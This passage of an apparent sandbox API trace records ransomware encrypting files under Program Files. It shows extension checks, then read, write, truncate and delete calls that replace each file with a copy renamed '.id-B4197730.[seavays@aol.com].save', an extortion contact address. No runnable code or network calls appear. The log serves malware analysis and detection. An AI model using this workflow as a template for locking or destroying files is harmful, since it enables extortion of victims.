(lpString=".ppt") returned 4 [0056.216] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0056.216] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.216] lstrlenW (lpString=".zip") returned 4 [0056.216] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0056.216] lstrlenW (lpString=".rar") returned 4 [0056.216] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0056.216] lstrlenW (lpString=".bz2") returned 4 [0056.216] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0056.216] lstrlenW (lpString=".7z") returned 3 [0056.216] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0056.216] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.216] lstrlenW (lpString=".dbf") returned 4 [0056.216] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0056.216] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.216] lstrlenW (lpString=".1cd") returned 4 [0056.216] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0056.216] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.216] lstrlenW (lpString=".jpg") returned 4 [0056.216] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0056.216] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.216] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.216] lstrlenW (lpString=".doc") returned 4 [0056.216] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0056.216] lstrlenW (lpString=".docx") returned 5 [0056.216] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0056.216] lstrlenW (lpString=".pdf") returned 4 [0056.216] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0056.216] lstrlenW (lpString=".xls") returned 4 [0056.216] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0056.216] lstrlenW (lpString=".xlsx") returned 5 [0056.217] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0056.217] lstrlenW (lpString=".ppt") returned 4 [0056.217] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0056.217] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.217] lstrlenW (lpString=".zip") returned 4 [0056.217] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0056.217] lstrlenW (lpString=".rar") returned 4 [0056.217] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0056.217] lstrlenW (lpString=".bz2") returned 4 [0056.217] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0056.217] lstrlenW (lpString=".7z") returned 3 [0056.217] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0056.217] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.217] lstrlenW (lpString=".dbf") returned 4 [0056.217] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0056.217] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.217] lstrlenW (lpString=".1cd") returned 4 [0056.217] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0056.217] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.217] lstrlenW (lpString=".jpg") returned 4 [0056.217] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0056.217] lstrcmpiW (lpString1=".txt", lpString2=".save") returned 1 [0056.217] lstrlenW (lpString="Xusage.txt") returned 10 [0056.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.218] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1423) returned 1 [0056.218] CloseHandle (hObject=0x34c) returned 1 [0056.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0056.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.220] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.220] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.221] GetLastError () returned 0x0 [0056.221] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x58f, lpOverlapped=0x0) returned 1 [0056.222] WriteFile (in: hFile=0x368, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x590, lpOverlapped=0x0) returned 1 [0056.224] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.224] WriteFile (in: hFile=0x368, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe8, lpOverlapped=0x0) returned 1 [0056.224] SetEndOfFile (hFile=0x368) returned 1 [0056.224] CloseHandle (hObject=0x368) returned 1 [0056.225] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.225] SetEndOfFile (hFile=0x34c) returned 1 [0056.226] CloseHandle (hObject=0x34c) returned 1 [0056.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.226] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0056.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.226] lstrlenW (lpString=".doc") returned 4 [0056.226] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.226] lstrlenW (lpString=".docx") returned 5 [0056.226] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0056.226] lstrlenW (lpString=".pdf") returned 4 [0056.226] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.226] lstrlenW (lpString=".xls") returned 4 [0056.226] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.226] lstrlenW (lpString=".xlsx") returned 5 [0056.226] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0056.226] lstrlenW (lpString=".ppt") returned 4 [0056.226] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.227] lstrlenW (lpString=".zip") returned 4 [0056.227] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.227] lstrlenW (lpString=".rar") returned 4 [0056.227] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString=".bz2") returned 4 [0056.227] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString=".7z") returned 3 [0056.227] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.227] lstrlenW (lpString=".dbf") returned 4 [0056.227] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.227] lstrlenW (lpString=".1cd") returned 4 [0056.227] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.227] lstrlenW (lpString=".jpg") returned 4 [0056.227] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.227] lstrlenW (lpString=".doc") returned 4 [0056.227] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString=".docx") returned 5 [0056.227] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0056.227] lstrlenW (lpString=".pdf") returned 4 [0056.227] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString=".xls") returned 4 [0056.227] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0056.227] lstrlenW (lpString=".xlsx") returned 5 [0056.227] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0056.227] lstrlenW (lpString=".ppt") returned 4 [0056.227] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0056.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.228] lstrlenW (lpString=".zip") returned 4 [0056.228] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0056.228] lstrlenW (lpString=".rar") returned 4 [0056.228] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0056.228] lstrlenW (lpString=".bz2") returned 4 [0056.228] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0056.228] lstrlenW (lpString=".7z") returned 3 [0056.228] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0056.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.228] lstrlenW (lpString=".dbf") returned 4 [0056.228] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0056.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.228] lstrlenW (lpString=".1cd") returned 4 [0056.228] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0056.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0056.228] lstrlenW (lpString=".jpg") returned 4 [0056.228] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0056.228] lstrcmpiW (lpString1=".zip", lpString2=".save") returned 1 [0056.228] lstrlenW (lpString="ffjcext.zip") returned 11 [0056.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.229] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14156) returned 1 [0056.230] CloseHandle (hObject=0x34c) returned 1 [0056.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 0x20 [0056.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.230] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.230] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.230] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.230] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.232] GetLastError () returned 0x0 [0056.232] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x374c, lpOverlapped=0x0) returned 1 [0056.234] WriteFile (in: hFile=0x368, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x3750, lpOverlapped=0x0) returned 1 [0056.235] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.235] WriteFile (in: hFile=0x368, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0056.235] SetEndOfFile (hFile=0x368) returned 1 [0056.235] CloseHandle (hObject=0x368) returned 1 [0056.237] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.237] SetEndOfFile (hFile=0x34c) returned 1 [0056.238] CloseHandle (hObject=0x34c) returned 1 [0056.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.238] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0056.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0056.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0056.238] lstrlenW (lpString=".doc") returned 4 [0056.238] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0056.238] lstrlenW (lpString=".docx") returned 5 [0056.238] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0056.238] lstrlenW (lpString=".pdf") returned 4 [0056.238] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0056.238] lstrlenW (lpString=".xls") returned 4 [0056.238] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0056.238] lstrlenW (lpString=".xlsx") returned 5 [0056.238] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0056.238] lstrlenW (lpString=".ppt") returned 4 [0056.239] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0056.239] lstrlenW (lpString=".zip") returned 4 [0056.239] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0056.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0056.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0056.239] lstrlenW (lpString=".doc") returned 4 [0056.239] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0056.239] lstrlenW (lpString=".docx") returned 5 [0056.239] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0056.239] lstrlenW (lpString=".pdf") returned 4 [0056.239] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0056.239] lstrlenW (lpString=".xls") returned 4 [0056.239] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0056.239] lstrlenW (lpString=".xlsx") returned 5 [0056.239] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0056.239] lstrlenW (lpString=".ppt") returned 4 [0056.239] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0056.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0056.239] lstrlenW (lpString=".zip") returned 4 [0056.239] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0056.239] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.239] lstrlenW (lpString="splash@2x.gif") returned 13 [0056.239] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.240] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=15276) returned 1 [0056.240] CloseHandle (hObject=0x34c) returned 1 [0056.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0056.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.240] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.240] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0056.241] GetLastError () returned 0x0 [0056.241] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x3bac, lpOverlapped=0x0) returned 1 [0056.789] WriteFile (in: hFile=0x368, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0056.790] ReadFile (in: hFile=0x34c, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.791] WriteFile (in: hFile=0x368, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xee, lpOverlapped=0x0) returned 1 [0056.791] SetEndOfFile (hFile=0x368) returned 1 [0056.791] CloseHandle (hObject=0x368) returned 1 [0056.792] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.792] SetEndOfFile (hFile=0x34c) returned 1 [0056.793] CloseHandle (hObject=0x34c) returned 1 [0056.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.794] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0056.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.794] lstrlenW (lpString=".doc") returned 4 [0056.794] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.794] lstrlenW (lpString=".docx") returned 5 [0056.794] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0056.794] lstrlenW (lpString=".pdf") returned 4 [0056.794] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.794] lstrlenW (lpString=".xls") returned 4 [0056.794] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.794] lstrlenW (lpString=".xlsx") returned 5 [0056.795] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0056.795] lstrlenW (lpString=".ppt") returned 4 [0056.795] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.795] lstrlenW (lpString=".zip") returned 4 [0056.795] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.795] lstrlenW (lpString=".rar") returned 4 [0056.795] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.795] lstrlenW (lpString=".bz2") returned 4 [0056.795] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.795] lstrlenW (lpString=".7z") returned 3 [0056.795] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.795] lstrlenW (lpString=".dbf") returned 4 [0056.795] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.795] lstrlenW (lpString=".1cd") returned 4 [0056.795] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.795] lstrlenW (lpString=".jpg") returned 4 [0056.795] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.795] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.795] lstrlenW (lpString=".doc") returned 4 [0056.795] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.796] lstrlenW (lpString=".docx") returned 5 [0056.796] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0056.796] lstrlenW (lpString=".pdf") returned 4 [0056.796] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.796] lstrlenW (lpString=".xls") returned 4 [0056.796] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.796] lstrlenW (lpString=".xlsx") returned 5 [0056.796] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0056.796] lstrlenW (lpString=".ppt") returned 4 [0056.796] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.796] lstrlenW (lpString=".zip") returned 4 [0056.796] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.796] lstrlenW (lpString=".rar") returned 4 [0056.796] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.796] lstrlenW (lpString=".bz2") returned 4 [0056.796] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.796] lstrlenW (lpString=".7z") returned 3 [0056.796] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.796] lstrlenW (lpString=".dbf") returned 4 [0056.796] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.796] lstrlenW (lpString=".1cd") returned 4 [0056.796] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.796] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0056.796] lstrlenW (lpString=".jpg") returned 4 [0056.796] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.797] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.797] lstrlenW (lpString="AppXManifest.xml") returned 16 [0056.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 